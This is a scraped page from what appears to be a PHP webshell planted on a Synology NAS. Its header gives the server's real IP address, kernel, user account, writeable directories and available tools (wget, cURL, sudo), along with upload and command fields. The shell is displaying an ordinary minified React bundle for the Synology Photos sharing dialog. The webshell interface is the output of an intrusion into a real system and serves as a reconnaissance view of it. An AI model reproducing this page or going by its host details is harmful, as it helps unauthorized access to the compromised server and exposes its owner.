403Webshell
Server IP : 193.86.120.172  /  Your IP : 216.73.216.67
Web Server : Apache/2.4.63 (Unix)
System : Linux JServices 3.10.108 #86003 SMP Wed Oct 22 13:20:46 CST 2025 x86_64
User : kubec ( 1026)
PHP Version : 8.2.28
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /volume1/@appstore/SynologyPhotos/ui/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /volume1/@appstore/SynologyPhotos/ui/927.react_bundle.js
"use strict";(self.webpackChunkFotoReactLibrary=self.webpackChunkFotoReactLibrary||[]).push([["927"],{73663:function(e,a,s){s.r(a),s.d(a,{default:function(){return U}});var t=s(7409),n=s(99282),r=s(24460),o=s(45697),i=s.n(o),l=s(67294),c=s(94184),d=s.n(c),p=s(15593),h=s(27183),m=s(37865),u=s(59435),b=s(9459),f=s(27412),E=s(99410),y=function(e){var a,s=e.className,t=e.checked,n=e.disabled,r=e.onChange,o=e.dataTestId,i=(0,l.useRef)((0,E.x0)()),c=d()("synofoto-form-switch",(a={},(0,f._)(a,s,s),(0,f._)(a,"disabled",n),a)),p=d()("synofoto-form-switch-toggle",{checked:t});return l.createElement("label",{className:c,htmlFor:i.current,"data-testid":"".concat(o,"_label")},l.createElement("input",{type:"checkbox",className:"synofoto-form-switch-input",checked:t,id:i.current,onChange:r,disabled:n,"data-testid":o}),l.createElement("span",{"data-testid":"".concat(o,"_toggle"),className:p}))};y.propTypes={className:i().string,checked:i().bool,disabled:i().bool,onChange:i().func,dataTestId:i().string},y.defaultProps={className:"",checked:!1,disabled:!1,onChange:function(){},dataTestId:""};var g=s(79905),v=l.memo(function(e){var a=e.isShareEnabled,s=e.setIsShareEnabled;return l.createElement(l.Fragment,null,l.createElement("div",{className:"synofoto-share-enable-block"},l.createElement("div",{className:"synofoto-share-enable-block-content"},l.createElement("div",{className:"synofoto-share-subtitle"},(0,g.n6)("shared","enable_share_link")),l.createElement("div",{className:"share-enable-description"},(0,g.n6)("shared","enable_share_link_description"))),l.createElement(y,{className:"synofoto-share-enable-switch",checked:a,onChange:function(e){s(e.target.checked)},dataTestId:"synofoto-share-enable-toggle"})),l.createElement(b.Z,{height:16}))});v.propTypes={isShareEnabled:i().bool,setIsShareEnabled:i().func},v.defaultProps={isShareEnabled:!1,setIsShareEnabled:function(){}};var C=s(46897),P=s(58531),T=s(68070),S=s(39308),_=s(50413),I=s(96904),k=[{value:I.mp.PRIVATE,label:(0,g.n6)("permission","privacy_private")},{value:I.mp.PUBLIC_VIEW,label:(0,g.n6)("permission","privacy_public_view")},{value:I.mp.PUBLIC_DOWNLOAD,label:(0,g.n6)("permission","privacy_public_download")}],w=l.memo(function(e){var a=e.isShareEnabled,s=e.privacyType,t=e.setPrivacyType,n=(0,l.useRef)(k.filter(function(e){return e.value===s})[0]);return l.createElement(l.Fragment,null,l.createElement("div",{className:"synofoto-share-subtitle"},(0,g.n6)("shared","privacy_settings")),l.createElement(b.Z,{height:8}),l.createElement(S.Z,{isMenuPortal:!0,isDisabled:!a,customizeComponents:{Option:_.Z},options:k,defaultValue:n.current,onChange:function(e){t(e.value)}}))});w.propTypes={isShareEnabled:i().bool,privacyType:i().oneOf([I.mp.PRIVATE,I.mp.PUBLIC_VIEW,I.mp.PUBLIC_DOWNLOAD]).isRequired,setPrivacyType:i().func},w.defaultProps={isShareEnabled:!1,setPrivacyType:function(){}};var L=s(3650),O=s(84808),N=s(27286),A=l.createElement(b.Z,{height:16}),Z=function(e){var a=e.dialogTitle,s=e.handleApply,o=e.handleClose,i=e.isOpen,c=e.isCreatingTempSharedAlbum,f=e.roleOptions,E=e.itemCount,y=(0,p.I0)(),S=(0,p.v9)(O.Z.getAllUserGroupList),_=(0,p.v9)(O.Z.getShareLinkUrl),k=(0,r._)((0,l.useState)((0,p.v9)(O.Z.getShareExpiration)),2),Z=k[0],U=k[1],R=(0,L.Z)(s,o,function(e){return y((0,N.y7)((0,n._)((0,t._)({},e),{expiration:Z,isCreatingTempSharedAlbum:c,itemCount:E}))),!0},{isCreatingTempSharedAlbum:c}),D=R.addShareInvitee,x=R.footerMessage,G=R.isFooterErrorMessage,V=R.isOrigShareEnabled,B=R.isPasswordChanged,F=R.isShareEnabled,M=R.linkProtection,W=R.password,q=R.privacyType,K=R.onKeyDown,z=R.onConfirm,H=R.onCancel,j=R.setIsPasswordChanged,J=R.setIsShareEnabled,Q=R.setPassword,X=R.setPrivacyType,Y=R.setShareUserGroupPermissionList,$=R.shareUserGroupPermissionList,ee=R.showShareLinkCopiedMessage;(0,l.useEffect)(function(){V||X(I.mp.PUBLIC_VIEW)},[V,X]);var ea=l.createElement("div",{className:"synofoto-share-container synofoto-share-scroll"},l.createElement(v,{isShareEnabled:F,setIsShareEnabled:J}),l.createElement("div",{className:d()("synofoto-share-setting-block",{disabled:!F}),"data-testid":"share-setting-block"},l.createElement(P.Z,{isShareEnabled:F,shareLinkUrl:_,onCopied:ee}),A,l.createElement(w,{isShareEnabled:F,privacyType:q,setPrivacyType:function(e){X(e),e===I.mp.PRIVATE&&(Q(I.pc.DefaultPassword),U(I.pc.DefaultExpiration))}}),A,l.createElement(T.Z,{ref:M,disabled:!F||q===I.mp.PRIVATE,password:W,setPassword:Q,isPasswordChanged:B,setIsPasswordChanged:j,expiration:Z,setExpiration:U,isShareProtectedByExpiration:!0,showProtectionHint:!0}),A,l.createElement(h.Z,{ref:D,isShareEnabled:F,allUserGroupList:S,shareUserGroupPermissionList:$,setShareUserGroupPermissionList:Y,roleOptions:f}),l.createElement(b.Z,{height:8}),l.createElement(C.Z,{isShareEnabled:F,shareUserGroupPermissionList:$,setShareUserGroupPermissionList:Y,roleOptions:f})));return l.createElement(u.Z,{showCancel:!0,isOpen:i,title:a,className:"synofoto-album-share-dialog",content:ea,handleKeyDown:K,handleConfirm:z,handleCancel:H,confirmText:(0,g.n6)("action","save_and_close"),footerMessage:""===x?null:l.createElement(m.Z,{message:x,isError:G,iconType:G?"none":"success"}),contentPadding:I.k3.TOP_AND_BOTTOM})};Z.propTypes={isOpen:i().bool,isCreatingTempSharedAlbum:i().bool,handleApply:i().func,handleClose:i().func,dialogTitle:i().string,roleOptions:i().arrayOf(i().shape({value:i().string.isRequired,label:i().string.isRequired})),itemCount:i().number},Z.defaultProps={isOpen:!1,isCreatingTempSharedAlbum:!1,handleApply:function(){},handleClose:function(){},dialogTitle:"",roleOptions:[],itemCount:0};var U=Z}}]);

Youez - 2016 - github.com/yon3zu
LinuXploit